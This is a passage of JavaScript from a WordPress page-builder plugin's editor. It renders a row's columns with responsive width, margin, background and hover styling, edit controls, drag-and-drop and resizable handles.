              colWidth = 49;
              break;
            case "3":
              colWidth = 33;
              break;
            case "4":
              colWidth = 24;
              break;
            case "5":
              colWidth = 19;
              break;
            case "6":
              colWidth = 16.5;
              break;
            case "7":
              colWidth = 14.1;
              break;
            case "8":
              colWidth = 12;
              break;
            case "9":
              colWidth = 11;
              break;
            case "10":
              colWidth = 9.5;
              break;
            default:
              colWidth = 99;
              break;
          }

colWidthIsEmpty = true;
        }

let colWidthPreDefined = colWidth;
        
        if (parseInt(columnPaddingLeft) > 0) {
          colWidth = parseInt(colWidth) - parseInt(columnPaddingLeft);
        }
        if (parseInt(columnPaddingRight) > 0) {
          colWidth = parseInt(colWidth) - parseInt(columnPaddingRight);
        }

if (colWidthIsEmpty == true) {
          if (parseInt(columnMarginLeft) > 0) {
            colWidth = parseInt(colWidth) - parseInt(columnMarginLeft);
            colWidth = parseInt(colWidth) - parseFloat('0.'+colWidthPreDefined);
          }
          if (parseInt(columnMarginRight) > 0) {
            colWidth = parseInt(colWidth) - parseInt(columnMarginRight);
          }
        }

columnCustomClass = "";
        if (typeof this_column_options["columnCustomClass"] !== "undefined") {
          columnCustomClass = this_column_options["columnCustomClass"];
        }

var colHideOnDesktop = "'display':'inline-block' ,",
          colHideOnTablet = "'display':'inline-block' ,",
          colHideOnMobile = "'display':'inline-block' ,";
        if (typeof this_column_options["colHideOnDesktop"] !== "undefined") {
          if (this_column_options["colHideOnDesktop"] == "hide") {
            colHideOnDesktop = "display:'none' ,";
          }

if (this_column_options["colHideOnTablet"] == "hide") {
            colHideOnTablet = "display:'none' ,";
          }
          if (this_column_options["colHideOnMobile"] == "hide") {
            colHideOnMobile = "display:'none' ,";
          }
        }

colContentAlignD = "";
        colContentAlignT = "";
        colContentAlignM = "";
        if (typeof this_column_options["colCAD"] != "undefined") {
          if (
            this_column_options["colCAD"] != "default" &&
            this_column_options["colCAD"] != ""
          ) {
            if (colHideOnDesktop != "display:'none' ,") {
              colContentAlignD =
                "display: 'inline-flex' , 'justify-content': '" +
                this_column_options["colCAD"] +
                "' , 'flex-direction': 'column' ,";
            }
          }

if (
            this_column_options["colCAT"] != "default" &&
            this_column_options["colCAT"] != ""
          ) {
            if (colHideOnTablet != "display:'none' ,") {
              colContentAlignT =
                "display: 'inline-flex' , 'justify-content': '" +
                this_column_options["colCAT"] +
                "' , 'flex-direction': 'column' ,";
            }
          }

if (
            this_column_options["colCAM"] != "default" &&
            this_column_options["colCAM"] != ""
          ) {
            if (colHideOnMobile != "display:'none' ,") {
              colContentAlignM =
                "display: 'inline-flex' , 'justify-content': '" +
                this_column_options["colCAM"] +
                "' , 'flex-direction': 'column' ,";
            }
          }
        }

currColmarginDefault = "";
        currColmarginTablet = "";
        currColmarginMobile = "";

if (typeof this_column_options["paddingTablet"] !== "undefined") {
          colPaddingTablet = this_column_options["paddingTablet"];
          colMarginTablet = this_column_options["marginTablet"];
          colWidthTablet = this_column_options["widthTablet"];

if (colWidthTablet == "") {
            colWidthTablet = "99.9";
          }

if (colWidthTablet != "") {
            if (parseInt(colPaddingTablet["rPLT"]) > 0) {
              colWidthTablet =
                parseInt(colWidthTablet) - parseInt(colPaddingTablet["rPLT"]);
            }
            if (parseInt(colPaddingTablet["rPRT"]) > 0) {
              colWidthTablet =
                parseInt(colWidthTablet) - parseInt(colPaddingTablet["rPRT"]);
            }
          }

if (colWidthMobile == "") {
            colWidthMobile = "99.9";
          }

if (colWidthMobile != "") {
            if (parseInt(colPaddingMobile["rPLM"]) > 0) {
              colWidthMobile =
                parseInt(colWidthMobile) - parseInt(colPaddingMobile["rPLM"]);
            }
            if (parseInt(colMarginMobile["rMRM"]) > 0) {
              colWidthMobile =
                parseInt(colWidthMobile) - parseInt(colMarginMobile["rMRM"]);
            }
          }

colMarginMobileBottomUnit = "%";
          if (colMarginMobile["rMBM"] == "") {
            colMarginMobile["rMBM"] = "";
            colMarginMobileBottomUnit = "px";
          }

currColmarginMobile =
            "" +
            "<script>" +
            "jQuery('.responsiveBtn').on('click',function(){" +
            " if (jQuery(this).hasClass('rbt-s') ) { " +
            "  jQuery('#" +
            rowID +
            "-" +
            this_column +
            "').css({'margin-top':'" +
            colMarginMobile["rMTM"] +
            "%', 'margin-bottom':'" +
            colMarginMobile["rMBM"] +
            colMarginMobileBottomUnit +
            "', 'margin-left':'" +
            colMarginMobile["rMLM"] +
            "%', 'margin-right':'" +
            colMarginMobile["rMRM"] +
            "%', 'min-height':'" +
            rowHeightMobile +
            rowHeightUnitMobile +
            "', " +
            colHideOnMobile +
            colContentAlignM +
            " });" +
            "  jQuery('#" +
            rowID +
            "-" +
            this_column +
            "').css({'padding-top':'" +
            colPaddingMobile["rPTM"] +
            "%', 'padding-bottom':'" +
            colPaddingMobile["rPBM"] +
            "%', 'padding-left':'" +
            colPaddingMobile["rPLM"] +
            "%', 'padding-right':'" +
            colPaddingMobile["rPRM"] +
            "%', 'width':'" +
            colWidthMobile +
            "%', });" +
            " }" +
            "});" +
            "var currentVPS = jQuery('.currentViewPortSize').val();" +
            "if ( currentVPS == 'rbt-s' ) { " +
            "  jQuery('#" +
            rowID +
            "-" +
            this_column +
            "').css({'margin-top':'" +
            colMarginMobile["rMTM"] +
            "%', 'margin-bottom':'" +
            colMarginMobile["rMBM"] +
            colMarginMobileBottomUnit +
            "', 'margin-left':'" +
            colMarginMobile["rMLM"] +
            "%', 'margin-right':'" +
            colMarginMobile["rMRM"] +
            "%', 'min-height':'" +
            rowHeightMobile +
            rowHeightUnitMobile +
            "', " +
            colHideOnMobile +
            colContentAlignM +
            " });" +
            "  jQuery('#" +
            rowID +
            "-" +
            this_column +
            "').css({'padding-top':'" +
            colPaddingMobile["rPTM"] +
            "%', 'padding-bottom':'" +
            colPaddingMobile["rPBM"] +
            "%', 'padding-left':'" +
            colPaddingMobile["rPLM"] +
            "%', 'padding-right':'" +
            colPaddingMobile["rPRM"] +
            "%', 'width':'" +
            colWidthMobile +
            "%', });" +
            "}" +
            " " +
            "</script> ";
        }

var colBackgroundOptions =
          "background-color:" + this_column_bg_color + ";";

this_column_bg_img = "";
        if (typeof this_column_options["colBgImg"] !== "undefined") {
          this_column_bg_img = this_column_options["colBgImg"];
          if (this_column_bg_img !== "") {
            colBackgroundOptions =
              "background-image: url(" +
              this_column_bg_img +
              "); background-repeat: no-repeat; background-position:center; background-size:cover; background-color:" +
              this_column_bg_color +
              ";";
          }
        }

var defaultColBackgroundType = "solid";
        if (typeof this_column_options["colBackgroundType"] !== "undefined") {
          defaultColBackgroundType = this_column_options["colBackgroundType"];
          if (this_column_options["colBackgroundType"] == "gradient") {
            var colGradient = this_column_options["colGradient"];

if (colGradient["colGradientType"] == "linear") {
              colBackgroundOptions =
                "background: linear-gradient(" +
                colGradient["colGradientAngle"] +
                "deg, " +
                colGradient["colGradientColorFirst"] +
                " " +
                colGradient["colGradientLocationFirst"] +
                "%," +
                colGradient["colGradientColorSecond"] +
                " " +
                colGradient["colGradientLocationSecond"] +
                "%);";
            }

if (colGradient["colGradientType"] == "radial") {
              colBackgroundOptions =
                "background: radial-gradient(at " +
                colGradient["colGradientPosition"] +
                ", " +
                colGradient["colGradientColorFirst"] +
                " " +
                colGradient["colGradientLocationFirst"] +
                "%," +
                colGradient["colGradientColorSecond"] +
                " " +
                colGradient["colGradientLocationSecond"] +
                "%);";
            }
          }
        }

var colID = rowID + "-" + this_column;
        var thisColHoverStyleTag = "";
        var thisColHoverOption = "";
        if (typeof this_column_options["colHoverOptions"] !== "undefined") {
          var colHoverOptions = this_column_options["colHoverOptions"];
          if (colHoverOptions["colBackgroundTypeHover"] == "solid") {
            var thisColHoverOption =
              " #" +
              colID +
              ":hover { background:" +
              colHoverOptions["colBgColorHover"] +
              " !important; transition: all " +
              colHoverOptions["colHoverTransitionDuration"] +
              "s; }";
          }
          if (colHoverOptions["colBackgroundTypeHover"] == "gradient") {
            var colGradientHover = colHoverOptions["colGradientHover"];

if (colGradientHover["colGradientTypeHover"] == "linear") {
              thisColHoverOption =
                " #" +
                colID +
                ":hover { background: linear-gradient(" +
                colGradientHover["colGradientAngleHover"] +
                "deg, " +
                colGradientHover["colGradientColorFirstHover"] +
                " " +
                colGradientHover["colGradientLocationFirstHover"] +
                "%," +
                colGradientHover["colGradientColorSecondHover"] +
                " " +
                colGradientHover["colGradientLocationSecondHover"] +
                "%) !important; transition: all " +
                colHoverOptions["colHoverTransitionDuration"] +
                "s; }";
            }

if (colGradientHover["colGradientTypeHover"] == "radial") {
              thisColHoverOption =
                " #" +
                colID +
                ":hover { background: radial-gradient(at " +
                colGradientHover["colGradientPositionHover"] +
                ", " +
                colGradientHover["colGradientColorFirstHover"] +
                " " +
                colGradientHover["colGradientLocationFirstHover"] +
                "%," +
                colGradientHover["colGradientColorSecondHover"] +
                " " +
                colGradientHover["colGradientLocationSecondHover"] +
                "%) !important; transition: all " +
                colHoverOptions["colHoverTransitionDuration"] +
                "s; }";
            }
          }
        }

//New extra BG Options for column
        currColDefaultBackgroundOps = "";
        currColtabletBackgroundOps = "";
        currColmobileBackgroundOps = "";

if (defaultColBackgroundType == "solid") {
          if (typeof this_column_options["bgImgOps"] != "undefined") {
            drbgImgOps = this_column_options["bgImgOps"];

defaultRowBgImg = this_column_options["colBgImg"];
            tabletRowBgImg = this_column_options["colBgImgT"];
            mobileRowBgImg = this_column_options["colBgImgM"];
            if (tabletRowBgImg == "") {
              tabletRowBgImg = defaultRowBgImg;
            }
            if (mobileRowBgImg == "") {
              mobileRowBgImg = tabletRowBgImg;
            }

defaultRowBgFixed = "scroll";
            if (drbgImgOps["parlx"] == "true") {
              defaultRowBgFixed = "fixed";
            }
            tabletRowBgFixed = defaultRowBgFixed;
            mobileRowBgFixed = defaultRowBgFixed;
            if (drbgImgOps["parlxT"] == "true") {
              tabletRowBgFixed = "fixed";
            }
            if (drbgImgOps["parlxT"] == "false") {
              tabletRowBgFixed = "scroll";
            }
            if (drbgImgOps["parlxM"] == "true") {
              mobileRowBgFixed = "fixed";
            }
            if (drbgImgOps["parlxM"] == "false") {
              mobileRowBgFixed = "scroll";
            }

drbgImgOpsRep = drbgImgOps["rep"];
            drbgImgOpsRepT = drbgImgOps["repT"];
            drbgImgOpsRepM = drbgImgOps["repM"];

// desktop
            if (drbgImgOps["pos"] == "custom") {
              defaultBgImgPos =
                "'background-position-x': '" +
                drbgImgOps["xPos"] +
                drbgImgOps["xPosU"] +
                "', " +
                "'background-position-y': '" +
                drbgImgOps["yPos"] +
                drbgImgOps["yPosU"] +
                "', ";
            } else {
              defaultBgImgPos =
                "'background-position': '" + drbgImgOps["pos"] + "', ";
            }

if (drbgImgOpsRep == "" || drbgImgOpsRep == "default") {
              drbgImgOpsRep = "no-repeat";
            }

if (drbgImgOps["size"] == "custom") {
              defaultBgImgSize =
                "'background-size': '" +
                drbgImgOps["cWid"] +
                drbgImgOps["widU"] +
                "', ";
            } else {
              defaultBgImgSize =
                "'background-size': '" + drbgImgOps["size"] + "', ";
            }

// Tablet
            if (drbgImgOps["posT"] == "custom") {
              tabletBgImgPos =
                "'background-position-x': '" +
                drbgImgOps["xPosT"] +
                drbgImgOps["xPosUT"] +
                "', " +
                "'background-position-y': '" +
                drbgImgOps["yPosT"] +
                drbgImgOps["yPosUT"] +
                "', ";
            } else if (drbgImgOps["posT"] == "") {
              tabletBgImgPos = defaultBgImgPos;
            } else {
              tabletBgImgPos =
                "'background-position': '" + drbgImgOps["posT"] + "', ";
            }

if (drbgImgOpsRepT == "" || drbgImgOpsRepT == "default") {
              drbgImgOpsRepT = drbgImgOpsRep;
            }

if (drbgImgOps["sizeT"] == "custom") {
              tabletBgImgSize =
                "'background-size': '" +
                drbgImgOps["cWidT"] +
                drbgImgOps["widUT"] +
                "', ";
            } else if (drbgImgOps["sizeT"] == "") {
              tabletBgImgSize = defaultBgImgSize;
            } else {
              tabletBgImgSize =
                "'background-size': '" + drbgImgOps["sizeT"] + "', ";
            }

// mobile
            if (drbgImgOps["posM"] == "custom") {
              mobileBgImgPos =
                "'background-position-x': '" +
                drbgImgOps["xPosM"] +
                drbgImgOps["xPosUM"] +
                "', " +
                "'background-position-y': '" +
                drbgImgOps["yPosM"] +
                drbgImgOps["yPosUM"] +
                "', ";
            } else if (drbgImgOps["posM"] == "") {
              mobileBgImgPos = tabletBgImgPos;
            } else {
              mobileBgImgPos =
                "'background-position': '" + drbgImgOps["posM"] + "', ";
            }

if (drbgImgOpsRepM == "" || drbgImgOpsRepM == "default") {
              drbgImgOpsRepM = drbgImgOpsRepT;
            }

if (drbgImgOps["sizeM"] == "custom") {
              mobileBgImgSize =
                "'background-size': '" +
                drbgImgOps["cWidM"] +
                drbgImgOps["widUM"] +
                "', ";
            } else if (drbgImgOps["sizeM"] == "") {
              mobileBgImgSize = tabletBgImgSize;
            } else {
              mobileBgImgSize =
                "'background-size': '" + drbgImgOps["sizeM"] + "', ";
            }

colBgResScripts =
          currColDefaultBackgroundOps +
          currColtabletBackgroundOps +
          currColmobileBackgroundOps;

var currColResponsiveScriptsTrigger =
          ' <div id="columnResponsiveScripts" style="display:none;">  \n ' +
          currColmarginTablet +
          " \n " +
          currColmarginMobile +
          " \n " +
          currColmarginDefault +
          colBgResScripts +
          colBorderResponsiveScripts +
          "</div>";

thisColHoverStyleTag =
          '<div id="columnStyleTag" style="display:none;"> <style> ' +
          thisColHoverOption +
          " </style> </div> ";

var colEditBtn =
          "<div class='editColumn editColBtnTop'  data-col_id=" +
          this_column +
          " data-overlay_id=" +
          this_column +
          " ><span class='dashicons dashicons-edit' style='color:#fff;' data-col_id=" +
          this_column +
          " data-overlay_id=" +
          this_column +
          "></span></div>" +
          "<div id='flipColumns' class='flipColumns editColBtnTop' style='margin-left: 40px;background:#607d8b; ' data-col_id=" +
          this_column +
          " data-colIndex=" +
          i +
          " data-overlay_id=" +
          this_column +
          " title='Flip with Next Column' > <i class='fa fa-exchange' data-col_id=" +
          this_column +
          " data-colIndex=" +
          i +
          " ></i> </div>" +
          "<div id='duplicateColumns' class='duplicateColumns editColBtnTop' style='margin-left: 74px;background:#607d8b; ' data-col_id=" +
          this_column +
          " data-colIndex=" +
          i +
          " data-overlay_id=" +
          this_column +
          " title='Duplicate Column' > <span class='dashicons dashicons-admin-page' data-col_id=" +
          this_column +
          " data-colIndex=" +
          i +
          " ></span> </div>" +
          "<div id='deleteColumns' class='deleteColumns editColBtnTop' style='margin-left: 111px;background:#607d8b; ' data-col_id=" +
          this_column +
          " data-colIndex=" +
          i +
          " data-overlay_id=" +
          this_column +
          " title='Delete Column' > <span class='dashicons dashicons-trash' data-col_id=" +
          this_column +
          " data-colIndex=" +
          i +
          " ></span> </div>" +
          "<div id='copyColumnOps' class='copyColumnOps editColBtnTop' style='margin-left: 148px;background:#607d8b; ' data-col_id=" +
          this_column +
          " data-overlay_id=" +
          this_column +
          " title='Copy Column Options' > Copy </div>" +
          "<div id='pasteColumnOps' class='pasteColumnOps editColBtnTop' style='margin-left: 198px; background:#607d8b; display:none;' data-col_id=" +
          this_column +
          " data-overlay_id=" +
          this_column +
          " data-colIndex=" +
          i +
          " title='Paste Column Options'> Paste </div>" +
          "<div class='thisColumnWidgetsTabTrigger' style='display:none;' data-col_id=" +
          this_column +
          " data-overlay_id=" +
          this_column +
          " data-colIndex=" +
          i +
          "></div>" +
          currColResponsiveScriptsTrigger +
          thisColHoverStyleTag;
        var colControls =
          '<div id="ulpb_column_controls" class="ulpb_column_controls  ulpb_column_controls' +
          this_column +
          '" style="display:none;" > ' +
          '<div id="edit_form_closeCol" style="display:none;" class="btn-red btn"><span class="dashicons dashicons-no-alt"></span></div> ' +
          '<div id="editColumnSave" style="display:none;" data-col_id=' +
          this_column +
          " ></div>" +
          '<div id="editColumnSaveWidget" style="display:none;" data-col_id=' +
          this_column +
          " ></div>" +
          '<div id="editColumnSaveVisible" data-col_id=' +
          this_column +
          ' ><span class="dashicons dashicons-arrow-left editSaveVisibleIcon"  data-col_id=' +
          this_column +
          "></span></div><br>" +
          "</div> \n";
        $("#rowColCont-" + rowID).append(
          '<div class="pluginops_column ' +
            this_column +
            " " +
            columnCustomClass +
            ' " id=' +
            rowID +
            "-" +
            this_column +
            " data-col_id=" +
            this_column +
            ' style="width:' +
            colWidth +
            colWidthUnit +
            ";  min-height:" +
            rowHeight +
            rowHeightUnit +
            "; " +
            colBackgroundOptions +
            " " +
            this_column_margins +
            "  " +
            this_col_shadow +
            "  " +
            columnCSS +
            '">' +
            '<div id="WidthSave" class="pb_hidden"></div>' +
            '<div id="RowHeightSave" class="pb_hidden"></div>' +
            '<div class="wdgt-dropped" style="display:none;" data-this_col_id=' +
            this_column +
            "></div>" +
            '<div class="wdgt-colChange" style="display:none;" data-this_col_id=' +
            this_column +
            "></div>" +
            colEditBtn +
            "</div>"
        );

$("#" + rowID + "-" + this_column).mouseenter(function (ev) {
          $(this).children(".editColBtnTop").css("display", "block");
          $(this).css("outline", "2px solid #2B87DA");
          if (pageBuilderApp.copiedColOps == "") {
            $(".pasteColumnOps").css("display", "none");
          }
        });
        $("#" + rowID + "-" + this_column).mouseleave(function () {
          $(".editColBtnTop").css("display", "none");
          $(this).css("outline", "none");
        });

// Column Widgets
        var this_column_widgets = thisColumnModelData["colWidgets"];
        var this_column_widgets_array = _.values(this_column_widgets);

var thisColFontsToLoad = [];

for (var j = 0; j < this_column_widgets_array.length; j++) {
          this_column_widgets_array_C = this_column_widgets_array[j];
          var thisRenderredWidget = completeWidgetRender(
            this_column_widgets_array_C,
            j,
            this_column,
            rowID,
            thisColFontsToLoad
          );

$('section[RowID="' + rowID + '"] ' + "." + this_column).append(
            thisRenderredWidget["RenderredWidgetHtmlDefault"]
          );

$("#" + rowID + "-" + this_column + " .widget-Draggable").mouseenter(
            function (ev) {
              $(this).children(".widgetHandle").css("display", "block");
              if (pageBuilderApp.copiedWidgOps == "") {
                jQuery(".widgetPasteHandle").css("display", "none");
              }
            }
          );
          $("#" + rowID + "-" + this_column + " .widget-Draggable").mouseleave(
            function () {
              $(".widgetHandle").css("display", "none");
            }
          );

try {
            enabledraggableWidgets();
          } catch (e) {
            // statements
            console.log(e);
          }
        } // Widget Loop

if (this_column_widgets_array.length == 0) {
          $('section[RowID="' + rowID + '"] ' + "." + this_column).append(
            "<div class='droppableBelowWidget droppableEmptyColumn' style='display:none;' data-targetColId='" +
              rowID +
              "-" +
              this_column +
              "'  data-widgetIndex='0' ></div> " +
              "<div class='editColumn emptyColumnIcon' data-col_id=" +
              this_column +
              " data-overlay_id=" +
              this_column +
              " title='Add Widgets'><span class='dashicons dashicons-plus' style='color:#fff; font-size:2em;' data-col_id=" +
              this_column +
              " data-overlay_id=" +
              this_column +
              "></span></div></div> <div id='WidthSave' class='pb_hidden'></div>"
          );
        }

thisColFontsToLoadSeparatedValue = "Allerta";
        for (var w = 0; w < thisColFontsToLoad.length; w++) {
          thisColFontsToLoadSeparatedNewValue = thisColFontsToLoad[w];

if (
            thisColFontsToLoadSeparatedValue !== "Select" ||
            thisColFontsToLoadSeparatedValue !== "Arial" ||
            thisColFontsToLoadSeparatedValue !== "Arial Black" ||
            thisColFontsToLoadSeparatedValue !== "sans-serif" ||
            thisColFontsToLoadSeparatedValue !== "Helvetica" ||
            thisColFontsToLoadSeparatedValue !== "Serif" ||
            thisColFontsToLoadSeparatedValue !== "Arial" ||
            thisColFontsToLoadSeparatedValue !== "Tahoma" ||
            thisColFontsToLoadSeparatedValue !== "Verdana" ||
            thisColFontsToLoadSeparatedValue !== "Monaco" ||
            thisColFontsToLoadSeparatedValue !== "select"
          ) {
            filteredFontFamilyName = "|" + thisColFontsToLoadSeparatedNewValue;
          } else {
            filteredFontFamilyName = "";
          }

thisColFontsToLoadSeparatedValue =
            thisColFontsToLoadSeparatedValue + filteredFontFamilyName;
        }

$('section[RowID="' + rowID + '"] ' + "." + this_column).append(
          '<link rel="stylesheet"href="https://fonts.googleapis.com/css?family=' +
            thisColFontsToLoadSeparatedValue +
            '">'
        );

colControlsArray.push(colControls);
      } // column loop

colControlsArrayAllValues = "";
      for (var w = 0; w < colControlsArray.length; w++) {
        colControlsArraySeparatedNewValue = colControlsArray[w];

colControlsArrayAllValues =
          colControlsArrayAllValues + "\n" + colControlsArraySeparatedNewValue;
      }

$(this.el).append(colControlsArrayAllValues);

if (rowColumns < 1) {
        rowWithNoColumnContainer = $(".rowWithNoColumnContainer").html();

$(this.el).append(rowWithNoColumnContainer);
      }

try {
        var pbContainer = $("#container");
        var pbWrapperWidth = $("#container").width();
        var prevDoppableBgColor = "";

rowColContID = "rowColCont-" + rowID;
        enableColumnDroppable(rowColContID);

$(".pb_widgetr").droppable({
          accept: ".widget-Draggable, .wdt-draggable",
          snap: ".droppableBelowWidget",
          greedy: true,
          drop: function (event, ui) {
            //$(ui.draggable).trigger('click');
            // $(".widget-Draggable").trigger("dragstop");
            var curr_droppable = $(this).attr("data-targetColId");
            var thisDroppableWidgetIndex = $(this).attr("data-widgetIndex");
            $(".widgetDroppedAtIndex").val(thisDroppableWidgetIndex);
            $(".isDroppedOnDroppable").val("true");

$("#" + curr_droppable + " .wdgt-dropped").trigger("click");
          },
          over: function () {
            $(this)
              .children(".droppableBelowWidget")
              .css("background", "rgba(213, 249, 215, 0.45)");
            $(this).children(".droppableBelowWidget").slideDown(250);

$(this).children(".droppableAboveWidget").slideDown(250);
            $(this)
              .children(".droppableAboveWidget")
              .css("background", "rgba(213, 249, 215, 0.45)");
          },
          out: function () {
            $(this).children(".droppableAboveWidget").css("display", "none");

$(this).children(".droppableBelowWidget").css("display", "none");
          },
        });

$(".droppableAboveWidget").droppable({
          accept: ".widget-Draggable, .wdt-draggable",
          snap: ".droppableAboveWidget",
          greedy: true,
          drop: function (event, ui) {
            //$(ui.draggable).trigger('click');
            // $(".widget-Draggable").trigger("dragstop");
            var curr_droppable = $(this).attr("data-targetColId");
            var thisDroppableWidgetIndex = $(this).attr("data-widgetIndex");
            $(".widgetDroppedAtIndex").val(thisDroppableWidgetIndex);
            $(".isDroppedOnDroppable").val("true");

$("#" + curr_droppable + " .wdgt-dropped").trigger("click");
          },
          over: function () {
            $(this).children(".droppableBelowWidget").css("display", "none");
            $(this)
              .children(".droppableBelowWidget")
              .css("background", "rgba(213, 249, 215, 0.45)");

$(this).children(".droppableAboveWidget").css("display", "block");
            $(this)
              .children(".droppableAboveWidget")
              .css("background", "rgba(213, 249, 215, 0.45)");
          },
          out: function () {
            $(this).children(".droppableAboveWidget").css("display", "none");

$(this).children(".droppableBelowWidget").css("display", "none");
          },
        });

var PbWrapperWidth = $("#container").width();
        $(".pluginops_column").resizable({
          containment: "#container",
          handles: "e,s",
          start: function (event, ui) {
            ui.element.css("min-height", "auto");
            resizedAxis = ui.element.data("ui-resizable").axis;
            if (resizedAxis == "e") {
              this.widthOfNextEl =
                ui.originalSize.width + ui.element.next().innerWidth();
              $(this).prepend(
                '<div style="text-align:center; color:#fff; padding:5px;" id="thisElWidth"> ' +
                  $(this).width() +
                  " </div>"
              );

$(ui.element.next()).prepend(
                '<div style="text-align:center; color:#fff; padding:5px;" id="nextElWidth"> ' +
                  $(ui.element.next()).width() +
                  " </div>"
              );
            }
          },
          resize: function (event, ui) {
            resizedAxis = ui.element.data("ui-resizable").axis;
            if (resizedAxis == "e") {
              var currentPbWrapperWidth = ui.element.parent().width();
              ui.element.next().width(this.widthOfNextEl - ui.size.width - 1);
              ui.element.children(".overlay").width(ui.size.width);
              ui.element
                .next()
                .children(".overlay")
                .width(ui.element.next().width());

$(this)
                .children("#thisElWidth")
                .html(
                  Math.round(
                    (ui.element.outerWidth() / currentPbWrapperWidth) * 100
                  ) + "<span>%</span>"
                );
              var nextElWidthOutput =
                (ui.element.next().width() / currentPbWrapperWidth) * 100;
              ui.element
                .next()
                .children("#nextElWidth")
                .html(Math.round(nextElWidthOutput) + "<span>%</span>");
            }
            if (resizedAxis == "s") {
            }
          },
          stop: function (event, ui) {
            resizedAxis = ui.element.data("ui-resizable").axis;

if (resizedAxis == "e") {
              var currentPbWrapperWidth = ui.element.parent().width();
              var colPercentageWidth =
                (ui.element.outerWidth() / currentPbWrapperWidth) * 100;
              ui.element.css("width", colPercentageWidth + "%");
              var nextCol = ui.element.next();
              var nextColPercentWidth =
                (nextCol.outerWidth() / currentPbWrapperWidth) * 100;
              nextCol.css("width", nextColPercentWidth + "%");
              //console.log(currentPbWrapperWidth);
              ui.element.children(".overlay").css("width", "100" + "%");
              ui.element
                .next()
                .children(".overlay")
                .css("width", "100" + "%");
              var thisResizedColID = $(ui.element).attr("data-col_id");
              $(".currentResizedRowColTarget").val(thisResizedColID);
              nextResizedColID = thisResizedColID.replace(/\D/g, "");
              $(".currentResizedRowColTargetNext").val(nextResizedColID);
              $(ui.element).children("#WidthSave").trigger("click");

var curreViewportS = $(".currentViewPortSize").val();

jQuery(".edit_column").css("display", "none");
              jQuery(".ulpb_column_controls").css("display", "none");

$(this).children("#thisElWidth").remove();
              ui.element.next().children("#nextElWidth").remove();
            }
            if (resizedAxis == "s") {
              var currentPbWrapperHeight = $(window).height();
              var elHeight = ui.element.height();
              var colPercentageHeight =
                (ui.element.height() / currentPbWrapperHeight) * 100;

if (rowHeightUnit == "px") {
              }
              ui.element.css("height", elHeight + "px");

if (curreViewportS == "rbt-l") {
                ui.element.css("height", elHeight + "px");
              }
              if (curreViewportS == "rbt-m") {
                ui.element.css("height", elHeight + "px");
              }
              if (curreViewportS == "rbt-s") {
                ui.element.css("height", elHeight + "px");
              }
              $(".currentResizedRowHeight").val(elHeight);

$(ui.element).children("#RowHeightSave").trigger("click");
            }
          },
        });
      } catch (error) {
        console.log(error);

jQuery(".popb_safemode_popup").css("display", "block");

jQuery(".confirm_safemode_no").on("click", function () {
          jQuery(".popb_safemode_popup").css("display", "none");
          location.reload();
        });

popb_errorLog.errorMsg = error.message;
        popb_errorLog.errorURL = error.stack.split("\n")[1];

jQuery(".fullErrorMessage p").text("Click To View Full Error Message");
        jQuery(".fullErrorMessageInput").val(popb_errorLog.errorMsg);

jQuery(".confirm_safemode_yes").on("click", function () {
          if (pageBuilderApp.prevClickedOnSafeModeBtn == false) {
            pageBuilderApp.prevClickedOnSafeModeBtn = true;
            var result = " ";
            var form = jQuery(".insertTemplateForm");

jQuery.ajax({
              url:
                admURL +
                "/admin-ajax.php?action=popb_enable_safe_mode&POPB_nonce=" +
                shortCodeRenderWidgetNO,
              method: "post",
              data: {
                errorMsg: popb_errorLog.errorMsg,
                errorURL: popb_errorLog.errorURL,
              },
              success: function (result) {
                location.reload();
              },
            });
          }
        });
      }

// Row and column buttons
      displayGButton = "none";
      if (isGlobalRowActive == "true") {
        displayGButton = "inline-block";
      }

$(this.el).append(
        '<div style=" display:block;clear:left;position: relative;z-index:99;bottom: 4px;right: 5px;" class="rowAllEditBtnContainer" >' +
          '<div id="rowDelete" class="row-btn btn-red btn" title="Delete Row" ><span class="dashicons dashicons-trash"></span></div> ' +
          '<div id="rowEdit" class="row-btn btn"  title="Edit Row"> <span class="dashicons dashicons-edit"></span></div> ' +
          '<div id="rowDuplicate" class="row-btn btn" title="Duplicate"> <span class="dashicons dashicons-admin-page"></span></div> ' +
          '<div id="setGlobalRow" style="background:#F0D53D;diplay:none;" class="row-btn btn globalRowBtn" title="Set Global"> <span class="dashicons dashicons-networking"></span></div> ' +
          '<div class="pbHandle row-btn btn" style="background: rgb(45, 60, 60) !important;"><span class="dashicons dashicons-move" title="Move"></span></div>    ' +
          '<div class="addNewRowSection row-btn btn" style="background:#2196f3 !important;"><span class="dashicons dashicons-plus" title="Add New Section Options"></span></div>   ' +
          '<div id="copySectionOps" class="row-btn btn" style="background:#607D8B  !important;" title="Copy Options"> <span>Copy</span> </div>  ' +
          '<div id="pasteSectionOps" class="row-btn btn pasteSectionOps" style="background:#607D8B  !important; display:none;" title="Paste Section Options"> <span>Paste</span> </div>  ' +
          "</div>"
      );

$(this.el).append(
        '<div class="newRowBtnContainer" >' +
          '<div class="newRowBtnContainerSections">' +
          '<div class="addNewRow  row-section-btn" style="background:#5AB1F7;" > ADD NEW SECTION</div>' +
          "</div>" +
          '<div class="newRowBtnContainerSections" style="display:' +
          displayGButton +
          ';">' +
          '<div class="addNewGlobalRow  row-section-btn" style="background:#F1D204; " > INSERT GLOBAL ROW</div>' +
          "</div>" +
          '<div class="newRowBtnContainerSections"  >' +
          '<div class="addNewRowBlock  row-section-btn" style="background:#4CAF50; " > INSERT DESIGN BLOCK</div>   </div>' +
          "</div>" +
          "</div>"
      );

$('li[data-model-cid="' + rowCID + '"] .addNewRowSection').on(
        "click",
        function () {
          $('li[data-model-cid="' + rowCID + '"] .newRowBtnContainer').css(
            "display",
            "block"
          );
        }
      );

$('li[data-model-cid="' + rowCID + '"]').mouseenter(function () {
        $('li[data-model-cid="' + rowCID + '"] .row-btn').css(
          "display",
          "block"
        );

if (isGlobalRowActive !== "true") {
          $(".globalRowBtn").css("display", "none");
        }
        if (pageBuilderApp.copiedSecOps == "") {
          $(".pasteSectionOps").css("display", "none");
        }

if (thisPostType == "ulpb_global_rows") {
          jQuery(".addNewRowSection").css("display", "none");
          jQuery("#rowDuplicate").css("display", "none");
          jQuery("#setGlobalRow").css("display", "none");
        }
      });
      $(".row").mouseleave(function () {
        $(".row-btn").css("display", "none");
        $(".newRowBtnContainer").css("display", "none");
      });

// Save the current model
      return this;
    },
    widgetDrag: function (ev) {
      var this_row = $(ev.target).attr("data-widg_row_id");
      var this_column = $(ev.target).attr("data-wid_col_id");
      var this_widget = $(ev.target).attr("data-widget_id");
      var thisColumnData = this.model.get(this_column);
      //console.log($(ev.target) );
      var this_column_widgets = thisColumnData["colWidgets"];
